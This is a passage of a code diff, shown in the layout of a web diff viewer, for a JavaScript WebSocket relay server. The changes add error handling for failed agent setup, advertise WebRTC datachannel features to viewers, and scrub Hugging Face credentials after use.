/* skip */
|
|
1017
1155
|
}
|
|
1018
1156
|
}
|
|
1157
|
+
}).catch((e) => {
|
|
1158
|
+
console.error("[relay] agent WebSocket setup failed:", e);
|
|
1159
|
+
try {
|
|
1160
|
+
ws.close(1011, "setup failed");
|
|
1161
|
+
}
|
|
1162
|
+
catch {
|
|
1163
|
+
/* skip */
|
|
1164
|
+
}
|
|
1019
1165
|
}); // end _refreshBlacklistIfStale().then()
|
|
1020
1166
|
}
|
|
1021
1167
|
else {
|
|
@@ -1038,11 +1184,13 @@ function attachConnection(ws, req, role, sessionId) {
|
|
|
1038
1184
|
}
|
|
1039
1185
|
}
|
|
1040
1186
|
session.viewer = ws;
|
|
1187
|
+
const rtcFeat = relayWebRtcFeaturesForViewer(session);
|
|
1041
1188
|
ws.send(JSON.stringify({
|
|
1042
1189
|
type: "connected",
|
|
1043
1190
|
role: "viewer",
|
|
1044
1191
|
session_id: sessionId,
|
|
1045
1192
|
agent_online: wsIsOpen(session.agent),
|
|
1193
|
+
...(rtcFeat ?? {}),
|
|
1046
1194
|
}));
|
|
1047
1195
|
/** Same forge-db lookup as GET /api/explorer-seq — pushes seq_id over WS so the explorer tab/badge work even if the HTTP fetch fails. */
|
|
1048
1196
|
const sessionTableForSeq = (0, relayAuth_1.canonicalSessionIdForRelayAndDb)(sessionId);
|
|
@@ -1257,6 +1405,9 @@ function attachConnection(ws, req, role, sessionId) {
|
|
|
1257
1405
|
catch {
|
|
1258
1406
|
/* skip */
|
|
1259
1407
|
}
|
|
1408
|
+
finally {
|
|
1409
|
+
(0, hfCredentials_1.scrubHfCredentialsInPlace)(cred);
|
|
1410
|
+
}
|
|
1260
1411
|
}
|
|
1261
1412
|
catch (e) {
|
|
1262
1413
|
try {
|
|
@@ -1310,6 +1461,9 @@ function attachConnection(ws, req, role, sessionId) {
|
|
|
1310
1461
|
session.agentHostname = String(sys.hostname || "").trim();
|
|
1311
1462
|
const feats = data.features || {};
|
|
1312
1463
|
session.agentFilesystem = Boolean(feats.filesystem);
|
|
1464
|
+
const wdc = feats.webrtc_datachannel;
|
|
1465
|
+
session.agentWebrtcDatachannel =
|
|
1466
|
+
typeof wdc === "boolean" ? wdc : null;
|
|
1313
1467
|
// Log version comparison against actual relay package version.
|
|
1314
1468
|
if (session.agentVersion) {
|
|
1315
1469
|
const relayPkg = relayPackageVersion();
|
|
@@ -1327,6 +1481,7 @@ function attachConnection(ws, req, role, sessionId) {
|
|
|
1327
1481
|
}
|
|
1328
1482
|
}
|
|
1329
1483
|
}
|
|
1484
|
+
pushViewerWebRtcAvailability(session);
|
|
1330
1485
|
// Push OS info to forge-db _client_registry on behalf of the agent.
|
|
1331
1486
|
// This works even for old-version agents that don't call POST /api/client-info themselves.
|
|
1332
1487
|
const forgeDbApi = _forgeDbApiUrl();
|